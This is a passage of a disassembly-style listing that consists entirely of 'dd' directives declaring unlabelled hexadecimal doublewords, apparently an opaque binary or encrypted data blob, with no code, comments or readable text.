dd 0D06F0D9h, 0EFB72E7Bh, 0FEFEA6BEh, 0D3BF90CDh, 923F8B0Eh
dd 7D8C29B5h, 1C27532h, 1044CBB0h, 0A644C33Dh, 0EFD92010h
dd 9F568F71h, 11EB6D2Eh, 9D65C07h, 0CC2E9EDFh, 4B7D9FDEh
dd 0E07F22BEh, 825A446Bh, 18E9505Dh, 7366083Bh, 0AB5B30BFh
dd 26A721E2h, 2B5F6F20h, 0B7269FF7h, 4D0E8331h, 0C0C97A36h
dd 4703F9A6h, 4D11E2C5h, 0ADF9E8B0h, 25C89C7Dh, 0FEFF94F3h
dd 2A1DE271h, 2991D7BCh, 0CE4E9E73h, 4AF64349h, 51AEFB1Ch
dd 0E73CD04Ch, 0A1FBBA5Dh, 9BB21421h, 4B5DA54Ch, 0FFACE5E9h
dd 96809D4Dh, 2B47458Eh, 5D54A0DAh, 74B4CF40h, 0B07EB537h
dd 233F1FB3h, 7AEE544Fh, 70377F4Dh, 0E4BA4972h, 84FFA29Bh
dd 0FDF0B620h, 22179699h, 0A0A9EC90h, 0D05C5DE1h, 0B148C6C7h
dd 0A72780E9h, 16E40F81h, 7DC4B1AFh, 0F2719FF4h, 0A3896514h
dd 55E8C63Ch, 69C541E6h, 3BD24BE6h, 8444D38h, 69D1BE9Dh
dd 8B1A7E05h, 51628197h, 14FF1509h, 4CE1D1B1h, 0EB09F4FAh
dd 4C13B8FEh, 6B3179EBh, 84D7C8D9h, 90A49FFEh, 248D81Fh
dd 2F8D59ADh, 7CABD09Ah, 88CD33A6h, 0AD2F5865h, 496691D9h
dd 0ABE3CDCDh, 41D7FFDh, 0B25DF48Eh, 0C5156AD8h, 22303828h
dd 9F367AADh, 0A6888B45h
dd 8BA28D51h, 1FCA4EE0h, 0B8B57788h, 0BF83C1DEh, 9A2B9DD3h
dd 412308B7h, 332AD53Ah, 45BC3BDEh, 72F71BCCh, 0ABB176Bh
dd 0CC76B01h, 19A42232h, 0A17FE386h, 6E20605Dh, 0ED69767Eh
dd 95660088h, 61CCC836h, 0E8C56F89h, 9FCE02DDh, 31FB0BCAh
dd 7B330CDAh, 0ECCB777Dh, 0C3692101h, 9029F916h, 0B1E1EA1Dh
dd 4F5B2888h, 8F3A4772h, 0ACF179D5h, 0AF3C9B7h, 876415B0h
dd 0CE6861FBh, 0A7BE9024h, 9F2400C0h, 7E3B0B42h, 0F0D7E3AFh
dd 40BDAF40h, 0D30A8772h, 1A4B4A81h, 0CA3ECB26h, 49FA37AFh
dd 0EC809B51h, 2DEA24BBh, 0D41EB17Bh, 0FC838D8Bh, 0D45688F0h
dd 52CC5732h, 0F33255E5h, 0C18706E5h, 1FB3D3A7h, 0DEF738BAh
dd 0AC0EC8FDh, 0D7A1978Eh, 510641DDh, 0A95E58A3h, 0ADA4585Dh
dd 9B67CBAh, 0ABAFAE8Bh, 0D561599Dh, 12C0A548h, 0A185B30Ch
dd 11539772h, 0A4CD2B15h, 5F6ED6Ah, 8854E218h, 53E73B2h
dd 0E8C634E2h, 7EBC273Ah, 8BF50ADDh, 0E04339A8h, 0FBB6937Ah
dd 12294C6Eh, 23D15F95h, 83F62BE6h, 2DD906E8h, 0E6C00E9Ch
dd 10AED1B5h, 8F7C3960h, 0DC56EDB3h, 0B82904CCh, 0EBE8DF67h
dd 150F7DB6h, 0E94D38A3h, 12C67F8Eh, 94476ADCh, 0F549C07Ah
dd 0B562277Ah, 947A5635h, 907A5E4Fh, 2825D5FEh, 0C5604247h
dd 0F0047354h, 0A1A2C9ACh, 0E6067C3Ah, 0FABA599Fh, 828271C5h
dd 70366E37h, 0DE673B73h, 7C13229Ch, 0E0A50318h, 0A389A573h
dd 0D8738253h, 0D0F2EA62h, 0F78ECDDFh, 542F3227h, 0F998311Ah
dd 0D03E267Ch, 686FEC95h, 7E2B62C5h, 79063D4Dh, 0A66612C2h
dd 4A821E4Eh, 3DAE9F16h, 0AB9BD464h, 0D534F57Bh, 71603BD0h
dd 4B249A18h, 97654F1h, 4E320FEDh, 765762ADh, 0D49E755Ch
dd 212B62CAh, 0CDA0B10Bh, 0BF52FBEBh, 0C78FD169h, 850C673Dh
dd 930B2587h, 0CF08E4F1h, 97C806ADh, 0BBD0A882h, 743B8CD1h
dd 4C6D5FBAh, 6A55A413h, 82EEBC66h, 2B08251Bh, 54E0BE96h
dd 19681173h, 40C19432h, 94A195D2h, 456DB111h, 39E6EB3Fh
dd 0F85F848Dh, 27A50142h, 7BE9C3DAh, 2555BDF1h, 9A23D6C4h
dd 0C3BC4EB8h, 0AB5DC80Eh, 0D67499F5h, 290BDC36h, 0E3BB4EC1h
dd 1CD139B0h, 0FD92C6CEh, 50ED3C6Dh, 801A8BE7h, 0E284E5C1h
dd 0E9491412h, 7052070Ah, 0CC42AFD4h, 2745AAC6h, 7BEFF4DAh
dd 2EBED00Ah, 0F1C84F5Fh, 0A4525A3Ah, 623EB5C0h, 3CFDA838h
dd 51B99CE3h, 0BF98AFB0h, 8C895BD9h, 86FFCBF3h, 1A4B806Eh
dd 0F141C90Bh, 0DE142045h, 0C6345455h, 0EB46143Fh, 11F80D7Dh
dd 0B5604961h, 0F02B488Fh, 109E71C6h, 0D6AE8E58h, 0C853ED5Bh
dd 0F78FA7D2h, 375D07A7h, 0CFD9CD90h, 176C21E6h, 0ACD4F25Dh
dd 50E0BBF8h, 0F9A8E115h, 0DEACD56h, 514AC57Dh, 693FEA5Bh
dd 998896EFh, 525E986Bh, 971E3EC4h, 0F1D8A02h, 0EABB284Dh
dd 8BF27339h, 0BAD6C554h, 0BB0E4AB4h, 2ADEBD1Ch, 6C7417B9h
dd 678F56D1h, 0FD440881h, 5BBB6089h, 58852FA5h, 0FCB694Dh
dd 7FA1B3DFh, 0AEA16894h, 0E43AF77Eh, 0DF09FDD8h, 12F665C2h
dd 558ABE8Bh, 82ACC5FCh, 8B65D952h, 0AA9BEFB9h, 2BF68208h
dd 0C10E8019h, 0DF7FD7B5h, 2CC341DFh, 30696EBFh, 324A9E9Bh
dd 9AD098E0h, 4646C00h, 0F7511671h, 47451ADDh, 0DEEAE8F0h
dd 0FB8C710Eh, 6DDFC23Dh, 594AD8A3h, 464F5E63h, 26243E1Fh
dd 0DDD90FA3h, 8B1E4EB9h, 0A8AD4885h, 0C3E9836Bh, 0BF492A12h
dd 907DCB05h, 0B581B7E3h, 0AEA1F165h, 2A70F6D6h, 3BED9209h
dd 7E952E55h, 6DA04A72h, 0C4C6106Bh, 51E675BAh, 4A4B056Dh
dd 0F38A7778h, 7BE37C97h, 0FD8190D1h, 94EFDBC0h, 0B21A2801h
dd 795AF265h, 0F30A6A1Dh, 9D0C28E8h, 0A37CA4CBh, 5339466Dh
dd 0AE942A31h, 9BBC5518h, 532388CCh, 37CD9866h, 537AF327h
dd 8454CD94h, 70747AB9h, 83779CA0h, 0BDC6D82Fh, 26343A10h
dd 0FA059394h, 67D9EB08h, 51FAD14h, 4F96E46Bh, 0F5EC4395h
dd 0DE1FB9EDh, 0E2778A40h, 0D699E96Bh, 186C8542h, 0F5572D80h
dd 0F62D3F17h, 0D54A5DAFh, 0AF4F49A7h, 0E988A383h, 27331ED7h
dd 6C1E436Bh, 9157C751h, 0CD32E027h, 374458F8h, 0F36C94CEh
dd 0C1B83EAFh, 54AE8E2Eh, 0BE43A897h, 4598B6DCh, 866E8EC9h
dd 7F57F3Dh, 0C0DAE412h, 292EB11Fh, 2DBFDB3h, 33F51482h
dd 0EE3C92C7h, 0D10CA922h, 88915F2Dh, 0B1654CF8h, 5574D871h
dd 4713EBD4h, 0C6FE4BDEh, 9B2C92F7h, 6CA40BB1h, 2F7EEC48h
dd 17C404ADh, 0C3CB5D72h, 0A9A7BEBAh, 0D9B14D85h, 97AE30DDh
dd 79835429h, 0A7EFB2C2h, 0AB275E1Fh, 3DA63B21h, 83CE67A9h
dd 5ECE2D3Ah, 0A3CA6926h, 5D42F328h, 514A99D4h, 0F9999A9Bh
dd 3BF68018h, 6884CDA3h, 3908138Bh, 74C9AF30h, 36604465h
dd 68BF78FDh, 0F5893BDh, 0BE039320h, 29B59525h, 218E6196h
dd 0E83E4A08h, 0A401557Ah, 6C7E8869h, 0B0B91CB5h, 0E3EA3415h
dd 18525DC1h, 764C1037h, 58E4F9ADh, 0E79C66F4h, 18EFC19h
dd 541EE19h, 0A1EADCB5h, 4BFF5995h, 158264FCh, 0FA75B0B3h
dd 0A0ECE0BCh, 0A7F8A12Bh, 0C19E186Dh, 96656006h, 5083CAF6h
dd 785BA321h, 45A6FB43h, 12641E3Ah, 95612FC4h, 9CC8F098h
dd 97665B39h, 0B3179636h, 24766C8Eh, 0BF894FB9h, 0F943DF52h
dd 5EE582CEh, 0CA15AF4Ch, 0E9A3E147h, 0E5EC04B2h, 0D7885A16h
dd 9C4AAA0Dh, 3BEC601Ah, 0F8DC79CCh, 0F3F94D86h, 4D05859Ch
dd 0EB894B84h, 0A3535A02h, 1F8FCA22h, 0D1535B74h, 178CF4F3h
dd 0E28F9464h, 0C276B79Fh, 0CBFB8C39h, 0B5333807h, 67B41C81h
dd 0F81129A2h, 8A164092h, 36305775h, 4EF187C9h, 0F78AB163h
dd 3482576h, 0AF805341h, 98907EA0h, 6C15751Eh, 2A73FFEBh
dd 9FDC3732h, 1D093109h, 67E3CBDBh, 82015805h, 3CF0B29Eh
dd 0A174669Dh, 615F1D5Dh, 2F3326EFh, 171F1ED5h, 0C57D21E9h
dd 367A6FC7h, 9F35B2F3h, 0CAF6FA73h, 0EF615228h, 0CE348AFh
dd 1C899A46h, 600ACBABh, 68619553h, 24B6527Fh, 9CE2EFB7h
dd 0C2C04404h, 351791AFh, 0CA9A94A3h, 52EAE9Bh, 2E9DCD50h
dd 31DA3B8Ch, 0D19BF059h, 0A2FE9563h, 0D13B611Ah, 0DE9B231Dh
dd 2ADDA71Dh, 0BD314752h, 3BF4AB5Bh, 36812BFh, 43A37806h
dd 8D0B5F7h, 3633B945h, 593FD919h, 0E1416C0Bh, 0C6D884E2h
dd 6FB2FBAAh, 3AA5B844h, 2FAEF7A0h, 77E4071h, 472932A1h
dd 0C645B98Eh, 0C6D6C5A0h, 0D381D07Ch, 0CABB79C7h, 406AFDABh
dd 0A23D23C1h, 4A844467h, 8D98D97h, 969D3BE6h, 7A24AD85h
dd 0AFF5177Ch, 4120397Fh, 9805D2Ah, 5E780D4Ch, 4CFFFFF7h
dd 46552FA4h, 0AD5F1D59h, 550E8EBBh, 0FA9C70B0h, 54CB6C93h
dd 0C72C07Ch, 7BEAFC65h, 9438C494h, 0B153800Bh, 0AE688084h
dd 6FB3FCF3h, 5839A2E9h, 0AFFDCDB0h, 99C5CFC2h, 5B5E22A5h
dd 208BDB56h, 78B03AF0h, 58668067h, 47EDAEF3h, 50138214h
dd 33295AF2h, 8C84BF71h, 2973D7E1h, 4634FDD5h, 0FB861942h
dd 0A4D14F6Ch, 0F7C578FCh, 807B8555h, 1506236Bh, 0E19EAF98h
dd 15D4DA61h, 73DADCD6h, 65923C6Dh, 18BE88Ah, 78DD8BAAh
dd 0E097B214h, 0B091D3h, 4975C2E6h, 0DC631112h, 47622BCEh
dd 64215872h, 0E5F0B136h, 0ECD94EB0h, 7EB307ECh, 4B1D8BEDh
dd 5BE549A0h, 51DC564Ah, 38A9928Fh, 0BEF53DB5h, 676329Ch
dd 54066697h, 7DB1EF30h, 7EB703B1h, 50A41F86h, 7656CA78h
dd 0F0F91D26h, 0B5BC1927h, 71548661h, 0CFDE0311h, 9377A10Fh
dd 0E2A51E20h, 7C94995Bh
dd 59CC376Eh, 4EC7F8A7h, 340FCA9Bh, 4E9B959Ah, 0CF15DCA1h
dd 7B55898Bh, 87DE5BDh, 0CA883B5Eh, 0DD2BC525h, 35CCF03Fh
dd 690E33EAh, 2964B50Ch, 547CFE6Dh, 4AECFCFEh, 4C6C6BDh
dd 6C357A6h, 24BB279Dh, 8F540502h, 2A5DF713h, 2010CE99h
dd 0AF4231CDh, 0DEB8FA3Ah, 605121D0h, 7A2CDC62h, 0AEBC811Bh
dd 0A871CA5h, 0EE18FD3Ah, 407B2545h, 5EA62E72h, 0CEFCF9EDh
dd 2E86A072h, 0E3FAB891h, 0E94003DFh, 5EEF2ECAh, 0B08C60B1h
dd 6A79AEA9h, 7E565A99h, 0B1F94A16h, 98D9C127h, 444131D2h
dd 0B8122645h, 893473CBh, 0C07B7B6Eh, 5FD3F498h, 7697780Ah
dd 0C273C6FEh, 3DB510C0h, 0D6D4EAE5h, 80491A13h, 0C0C8F30Ch
dd 6A59F6E2h, 76E91010h, 52AC1E98h, 48F5AE79h, 0DCCBD4D0h
dd 956DF99h, 86E6791Ch, 35CF1C9Fh, 0CF1E45E2h, 1E0F7EB4h
dd 0ED033622h, 0DD68FCFBh, 10FEB78h, 3F98992Fh, 5BED2D6h
dd 8060EA3Fh, 229F0716h, 973C0F60h, 4DC9A152h, 0C6DA5E57h
dd 3F15C361h, 0BA457CACh, 0BFF414FDh, 5ADBF42Dh, 0FADAD1E0h
dd 58BE4AFDh, 0FABCA75Ah, 0F4B202A6h, 4E3DC2FEh, 0E6AEF7A3h
dd 0F78A61A1h, 0D2F577B0h, 6F10A69Ch, 3E2403BEh, 68B39501h
dd 393DCB84h, 0EC360ADFh, 0D704B6F1h, 0D4232B14h, 2D8A93E7h
dd 0EAB10862h, 0EA5F09AEh, 889EE49Ch, 85C77107h, 0D02566Eh
dd 22FF375Dh, 0C3671287h, 6C38085Bh, 0A86FA920h, 145D8067h
dd 1EDDD3B3h, 6A8A9F4Ah, 8FBFED4Ch, 4C3EA749h, 8920E0B4h
dd 867545A0h, 6573C107h, 8EFB468h, 41866327h, 0A0380333h
dd 2D8BAFCEh, 92C33AA0h, 0B6C7EC53h, 0B8FCF97Dh, 6C5B2252h
dd 0C9DA449Ah, 0AA509E9Ch, 0BC1A5C32h, 33DDFA1Eh, 989D322Fh
dd 0D0A0A8E4h, 39B8CEE3h, 221E95CDh, 2BF8C3F9h, 0D382B00Bh
dd 7B8286DEh, 561A825Fh, 0BDAEBDCCh, 90F40D10h, 8156D33Fh
dd 1966F7D6h, 63E43C7Bh, 8C28524Dh, 4BE46E5Ah, 0B76DA060h
dd 0CE43FB9Fh, 5E8EC0Eh, 0FE50652Fh, 0E488A867h, 7F4742DBh
dd 16978FB1h, 0B2B820D8h, 7ADE7860h, 69E1DCFCh, 590593Ch
dd 2C2EEEB9h, 425B8649h, 0C14055F5h, 0C2E1D6E6h, 3FF26382h
dd 0C784F068h, 0E54557A1h, 0B7502A5Dh, 0ED669574h, 0B52735C9h
dd 32C38998h, 0CDF32D08h, 5716F1F8h, 623CE602h, 0A136A007h
dd 750F6529h, 0ABC8216Dh, 46F52739h, 28F6B0BFh, 0CAC5F98Fh
dd 501799E5h, 0E83B2CF6h, 0F3B3794h, 62826E09h, 39076A3Ah
dd 8D4BE258h, 639E2529h, 1AA12F80h, 415D3D42h, 0CFA8B82Ch
dd 0B065E7E2h, 733B4ECDh, 910ADD9Fh, 0B3C92150h, 3A5CA75h
dd 274A492Dh, 1C1D447h, 3B076F6Ah, 5FEBDA8h, 507812D5h
dd 7E6419Ah, 944A24F1h, 9722D796h, 8C8CDB09h, 0C26FAE3h
dd 0CD8FF353h, 0A4E997h, 0CD6420D3h, 4E79191Ch, 0EB238FFBh
dd 0B93126E5h, 0EDACFE91h, 593C7808h, 5C158C52h, 3562FF8Ah
dd 7CC45DDBh, 0C423310Bh, 7D084514h, 0E3B4905Fh, 164D04Fh
dd 0F57C116Dh, 0BA415174h, 1020A2C5h, 3FB1C41h, 826C631Bh
dd 0FAB39A5Dh, 3113F482h, 390C7E19h, 0C9CAF66Fh, 426F3755h
dd 0D1AFFE8Fh, 3A5AB29Ch, 6A4DC6B7h, 5B493D29h, 0D6317F26h
dd 3FFF085Fh, 0E4ED5AF6h, 0ED7F2375h, 0F694DF4Dh, 300C6032h
dd 1E174Ah, 8BA28B1Eh, 0C99A5ECAh, 27F322C4h, 0B0A2E554h
dd 2F134E8Dh, 8EA19DC8h, 982B685Ch, 0DBE30160h, 9C1E6447h
dd 0C6DC49E2h, 6877827Dh, 2B882777h, 3AF06920h, 0C9B3E8EAh
dd 9E3010F3h, 0AB1E122h, 308FF514h, 830A148Eh, 0D7194FA5h
dd 0DE345049h, 289F7135h, 9E9160A5h, 4593F3ADh, 9B524037h
dd 0DEAA911Eh, 3ADE008Ah, 49EE0212h, 5ACDB077h, 0E1141C9Eh
dd 6AE3FBB2h, 0F54BBC44h, 5F8A387Fh, 43207E43h, 0C58C5D44h
dd 223CDDBFh, 9CC45174h, 88C503FBh, 427FABCFh, 4874173Ah
dd 0DA686A4h, 41549440h, 0F031C960h, 0B3A8B9C2h, 22C1950Eh
dd 0F31755D9h, 0DD8D0253h, 0FC0FA1DCh, 6D396356h, 2BB28703h
dd 8EE72B86h, 598EC64Eh, 4D6D49FFh, 0E5421E7Eh, 0A834D662h
dd 79E2A580h, 0B763D59Eh, 456A901Dh, 0D18B2F63h, 0EA7AF871h
dd 80959E07h, 0E93263CEh, 2E0CD138h, 4091EBF3h, 5A512D36h
dd 0D8732450h, 0E4AC7E8Ch, 0BA8AB462h, 0F4115FE2h, 0A37C7C2Ah
dd 0CA52EE5Eh, 5777FD65h, 4B97C502h, 9CBB291Dh, 5D54E46Dh
dd 2A682012h, 6C281E36h, 6BDE0FB8h, 0E84F7100h, 0A14DE978h
dd 0CC7E4D0Ah, 90B2FB3Ch, 0EEF89C44h, 0DF4F6A76h, 2C33D4A6h
dd 0D789AB2Dh, 0F8E878D6h, 49AF306Ah, 0CEE19116h, 72D00D25h
dd 0FA097996h, 0DB6918FBh, 8BB9976Ah, 18DB8534h, 635EC69Eh
dd 0FDBD5962h, 0D3BB43DFh, 40A8DA28h, 0CA5D36F4h, 4755FBA3h
dd 0A2DBCEF8h, 0F09A45B3h, 7476ED90h, 5480657Bh, 9306EDD6h
dd 86F8473Dh, 33B035DEh, 55B25B5Fh, 2F8DD7B4h, 0B5457D0Eh
dd 1E830CFh, 4842105Bh, 38FE97E2h, 912861EDh, 7C6A793Ah
dd 0E0E48BA9h, 9185BD35h, 1D53F6B9h, 6E425CDAh, 9ED60CB4h
dd 3A31724Ah, 90B9849Ch, 3D0FB5C4h, 49B8C728h, 30B8181Ch
dd 30E444AAh, 6CD98644h, 28A7CFCDh, 4C0545E1h, 723A390Bh
dd 0DD152985h, 0F3C153A5h, 0D0D65D0Bh, 0DC1C52CAh, 0FDF0CCF4h
dd 4A9DBE4Fh, 37D4C6BDh, 0D2E2443Ah, 95907B8Fh, 0FD08232Ah
dd 0C2B72B75h, 106D1AEEh, 0E7AABC08h, 17157A8Fh, 31C50D91h
dd 7FDA5B5Ch, 0DFA30E95h, 0BD1C1D47h, 6650BF78h, 0A3803CCBh
dd 90859C7Fh, 9B80BE49h, 6F5CAFE0h, 0E86A4008h, 0C16E2D11h
dd 7EE358B3h, 58A0BBF7h, 143DC8B2h, 185468FDh, 0C419B1ECh
dd 306BBA88h, 0AE5CB839h, 6479C32Ch, 222E2935h, 355961B8h
dd 20776FBh, 49F0F8CCh, 2D202732h, 0EA6B8A4Eh, 98A0F33Bh
dd 0AC9D3A6Fh, 9414A459h, 0C19DEC07h, 0C66C1A06h, 2939CEADh
dd 448AC62h, 0EF5B2E54h, 28D372D4h, 97A9D301h, 71E2C5D6h
dd 278CA30Bh, 0ED2A3917h, 0AF712CFEh, 234DF1E5h, 0C63EE288h
dd 13C61401h, 0D08074A3h, 0FAE27464h, 8E15DE29h, 0BE726E6Dh
dd 0DAF45536h, 73F27DB1h, 8C8D42FFh, 4B3DE608h, 46D04505h
dd 15A61AF1h, 8C36F909h, 0C6444211h, 0CC32522Fh, 0ED6F3780h
dd 0E4A67Ah, 1605E92Ah, 6BD6D2E1h, 82B08F48h, 0DCC2CE82h
dd 8A4F8CAEh, 39D9D844h, 0FFFC06F2h, 0D1668FE7h, 0E16F82A2h
dd 5165C287h, 62C4E558h, 0EA9C2029h, 4A253C2Ch, 0BB50E31Bh
dd 0F489774Dh, 0A0AB9D2Fh, 14664A8Ah, 5AFABF00h, 3728F6D9h
dd 4DF7A66Bh, 52699DE9h, 73EC87CEh, 60A04EFFh, 0F0AC9410h
dd 0B2A35725h, 143128A1h, 0C112DEE2h, 0B669261Eh, 0EC4C1C47h
dd 64552132h, 98820497h, 6A815E73h, 5BBCA9A3h, 8021C8D5h
dd 3C82C896h, 6C5A11CCh, 9EC9BDA4h, 0DF2841EAh, 72BB7975h
dd 223D372Bh, 9533830h, 0D5295A81h, 40829BD3h, 7A605BF4h
dd 163A9A9h, 0E1AFC8EAh, 19E9F546h, 34A442E5h, 4E9B72D8h
dd 4955A6DCh, 0A00722AAh, 431C527Eh, 0B624ADDh, 4C36FCA4h
dd 7D16D365h, 530BFB28h, 0B71C4885h, 64164810h, 0D912EEEEh
dd 433C7582h, 0A478ADh, 0E115783h, 0E40A4723h, 6B8FA126h
dd 40233F38h, 0DA95B8A7h, 9819889Fh, 0FB090765h, 59EA9865h
dd 2A3EE1B9h, 0C0EF2EFBh, 0A16A2FA4h, 6A766AE2h, 0FE06350Ch
dd 1D4DF5A7h, 0DFFE5BDDh, 8EBD05A3h, 0F3AD2019h, 0EE2928C7h
dd 14E58701h, 0D7366EB8h, 9E4A9A96h, 49A75E5Dh, 27A62888h
dd 0EB10BF5Ch, 36EBDBEh
dd 24D87FF3h, 16CB02ACh, 8CDDD590h, 206EDB17h, 5F8BE631h
dd 0EF38E485h, 0B7DE0F80h, 18B30512h, 0F6778F87h, 5252F707h
dd 8186F3CEh, 967F0228h, 178ECA63h, 0D8DF65ADh, 0BF958ACFh
dd 0B8E476B3h, 5E0D3E03h, 0B8188985h, 0EAACBD2Bh, 4BDAADBAh
dd 0B709D7F2h, 49B7C9E2h, 0FC6B01E6h, 0EADBC475h, 77BB264Fh
dd 1E801D0Bh, 4016D21Bh, 0D54AECBAh, 0AC375142h, 5FCF6CCDh
dd 0BA136134h, 37A3DFD7h, 899A9999h, 0B8EFB3C9h, 81200609h
dd 96301629h, 0DB0E1AEFh, 7254D070h, 27A6D4F7h, 97149D8h
dd 26315B3Fh, 9217519Ch, 4F96B6A5h, 701D4804h, 3EF37B7h
dd 0C9FF7599h, 88ADC93Dh, 0F2487372h, 1928B516h, 50EE33DEh
dd 36AF693Dh, 4E4E4C6h, 0FE1C0BEDh, 8460A031h, 0E9C5A7ACh
dd 0F15C0284h, 0B68E4007h, 0BC575B3Bh, 0DAC48EFCh, 7CCFDC9Ch
dd 78B7BE15h, 0CCC490CDh, 0DC134B70h, 3CEAA566h, 0B7AB6916h
dd 0E8A56597h, 64B39553h, 421B907Eh, 1ACDF09Ch, 0A0E32CDDh
dd 20174372h, 0E9D6487Eh, 939E1E11h, 4641C4DEh, 0DAE529FFh
dd 0FEAA2C11h, 6A360056h, 0C175B55Ch, 0F8C243E6h, 28164301h
dd 0D109CE23h, 0D63E7D19h, 0F19BFE0Eh, 0E5984F75h, 0D97781A9h
dd 0BB9B1B16h, 0E1B72A9Dh, 0A85B598Ah, 0FBF5905Dh, 7E4775E5h
dd 55F21B9Eh, 47E20261h, 0A1489558h, 0D1C8612Dh, 831AFB0Fh
dd 9745CA8Dh, 34CAFB2Dh, 0BE43ACAh, 425DFF11h, 51620EEh
dd 0C4D42608h, 6E0DD4A7h, 6EE97DAEh, 35649D2Fh, 0F4EBC28Eh
dd 3158FC53h, 8A1288FBh, 6AE3EDB1h, 46463412h, 3DD09876h
dd 3D37A80Eh, 1FFEE584h, 0A34B976Ch, 65DEA92Eh, 5E361469h
dd 9344AA60h, 8C0D3FCBh, 60B5C18Ch, 0EBD7F0D1h, 0C6FB5B84h
dd 7812CA9Fh, 45D14289h, 240EF7B6h, 0A98D8B3Ah, 5FB9066Ah
dd 0E172893h, 9E8252D7h, 3740FB87h, 16BD2011h, 8869858Dh
dd 0E27E3D4Ch, 6A358FB5h, 5406F56Fh, 9F96016Dh, 10E4064h
dd 9EFC38A6h, 164E74C8h, 0A5F5D18Dh, 8DEECC41h, 83A7B717h
dd 1FEFA09Ah, 0C573B146h, 0B66CFAA1h, 0D52902ECh, 3C9F25D9h
dd 0B3A6670Ch, 2E501C3h, 0E2493FA9h, 0B1AC8101h, 7344B184h
dd 0D3756B47h, 5EC00455h, 5B03D638h, 0ABD96838h, 0E3E88EC1h
dd 0E5A7362Bh, 0A4936294h, 5B489584h, 17AD2BAh, 66B16F6Ch
dd 2F02838Bh, 4EBD3915h, 0ED9F7359h, 7E0E5AEDh, 1F87EB20h
dd 0CC7FA04h, 9BEA3E04h, 4F2FF9F6h, 36957CAEh, 374BB1Ch
dd 58F1BA75h, 0BEC85FEBh, 0AB8F1DE6h, 0ACC8F490h, 569D24h
dd 0E8FC0F35h, 0FE336AACh, 1C56AF9Bh, 7340F876h, 67A81E43h
dd 16B03CA5h, 97766D1Ch, 7722C7EDh, 0B65413B1h, 0ED8ACB5Fh
dd 1C371263h, 2700AE90h, 5447983Fh, 91B28F9Eh, 79E1677Bh
dd 0B2B2044Eh, 0CCCA0703h, 9A3E7AA3h, 0B8B1815h, 0BBEAECB3h
dd 0FA28F741h, 138A5224h, 0FB8FD417h, 12505EBAh, 862258E3h
dd 0EE7CED75h, 0E8D0932Eh, 3F414AEEh, 0DF3ECF0Bh, 0A861FB47h
dd 68614983h, 0AABBFF26h, 2F8D31F2h, 0C24F4CF7h, 943BBDFCh
dd 5FEB0F8Eh, 67CE1241h, 0EA8F0ECEh, 0EE94D43h, 452779A0h
dd 0D4462BCEh, 7215081Ah, 90E9A778h, 8EEB1852h, 32D925B0h
dd 0C7F329E9h, 0E1AD96Fh, 9C383211h, 0C424A897h, 727D0728h
dd 495A1EE3h, 942135ABh, 249BED61h, 956CC06h, 0A5F8B549h
dd 0EE53E77Bh, 723ACD74h, 417640B1h, 39CB985Ch, 0D04B2EF6h
dd 6F819F8Eh, 240F356h, 0B2D9820Dh, 5B28F2FFh, 4901C5DAh
dd 0ED05683Ch, 0F1784815h, 8B373C30h, 331FEA4Dh, 0D795A906h
dd 0C4B6A07Dh, 6631DF4Ch, 0EBAC8366h, 16C4D46Fh, 659D1E1h
dd 0CBD7A2A5h, 57E126CCh, 33E42498h, 82798397h, 5B8229CCh
dd 8EB0ED17h, 6647FB33h, 62FD7FDBh, 64E51C11h, 0AC1F6BD2h
dd 0C56C7741h, 0F0C1F93Bh, 11074743h, 87C1DB4Eh, 0FAC05A18h
dd 72558797h, 8EFC8526h, 0DDDED062h, 91243805h, 3802B7A0h
dd 92C95E39h, 0C01F1E54h, 42D6AACCh, 311DE46Bh, 0D9672037h
dd 0D02CF37Fh, 3CD96EF0h, 815B4B78h, 0E5655335h, 9AD20FB1h
dd 0DDA9C866h, 0D4AA87BCh, 0D52B1744h, 7F41D628h, 8509D25Eh
dd 0FF3D2A7Ch, 9D1B77FCh, 0D7707CE8h, 0DAB9CAA4h, 0C7D8FC39h
dd 831201FBh, 28896E4Fh, 3EEA4E14h, 4AAF6417h, 3B5644EBh
dd 0A6D1014Eh, 0CCF12162h, 7EAF0A16h, 0F04E85D9h, 68D56308h
dd 0A2BB91B6h, 5442E61Ch, 737E3472h, 3C66025Ah, 8A4E7804h
dd 0DF1B51BCh, 0E82AEBDBh, 51739D87h, 0D29B5B25h, 0ECBFC24Bh
dd 35436961h, 375E8A2Eh, 0D946FEAEh, 30ACDA7h, 7433D651h
dd 2E4CD6A7h, 30EA83Dh, 6ABCB492h, 2527AC65h, 499C399Dh
dd 796E0C1h, 7FABA0F3h, 2B09360Ch, 6DD31077h, 8413A6C3h
dd 0F96688ADh, 83866F2Ah, 0F47FA396h, 6FAC2249h, 43879514h
dd 312086EEh, 0E57F9F6Ch, 41E24E3h, 6D8046E6h, 34F5358Ah
dd 1623586Bh, 0E97D49E7h, 0EBE76A9Bh, 82506711h, 5481B07Bh
dd 0CF52321Fh, 0BBA2B888h, 0A5DA6D24h, 0E118EF94h, 0E850C854h
dd 4D90306Dh, 9220A9B1h, 0BEF5D687h, 48D31A37h, 3828CA44h
dd 74ACA75Dh, 2EF423C0h, 2F5349AFh, 410219EBh, 0ABB9B0EEh
dd 693C04EEh, 321556DCh, 165BBD0Eh, 2542C92Eh, 0F0CC6075h
dd 0F5A49BE1h, 3AEC23A6h, 4CBBB051h, 2E3C415Ch, 340368ABh
dd 0A5940512h, 3C87762Bh, 4921DCA0h, 2102A2F8h, 8251C611h
dd 150DC08Eh, 1AF69711h, 1C0548CDh, 0E045E33Bh, 0BE404164h
dd 74BC0778h, 5EE0D397h, 0F22D20D9h, 5B8B6F5Dh, 0B433B070h
dd 0D8509AB1h, 0AF2033E7h, 737367C2h, 0ED63A77h, 643EB9ADh
dd 0DE47D702h, 1377D9Bh, 1FEF3E3h, 4A4B9339h, 68DF39FBh
dd 0BCFBC465h, 64F3FDD1h, 711491D1h, 0AED5FA7Dh, 0D8619544h
dd 0C444F7CAh, 65ACCC99h, 0C9C2F12Bh, 0BF71ABA3h, 41DE0B65h
dd 3F3F6959h, 0CBDDB210h, 0DB052806h, 54B22292h, 39ABFCE4h
dd 0C40CA5F2h, 0DEA13193h, 96196DB7h, 1095C65Bh, 5507EF1Dh
dd 74E831E0h, 7673A65Bh, 0F047D5CCh, 957B897Ch, 666CB229h
dd 55A182C9h, 0E66AB4ACh, 86A1E7Ch, 0B8DE8D23h, 5BF48BA0h
dd 0E6A68F86h, 0F642655Dh, 6A438A49h, 88D5DCh, 32B9360Fh
dd 1DCBB759h, 8A478602h, 94F1C572h, 0D5791055h, 0D3619D0Dh
dd 6B316069h, 258564B3h, 3C5CC4B2h, 19203EA2h, 4921CEB9h
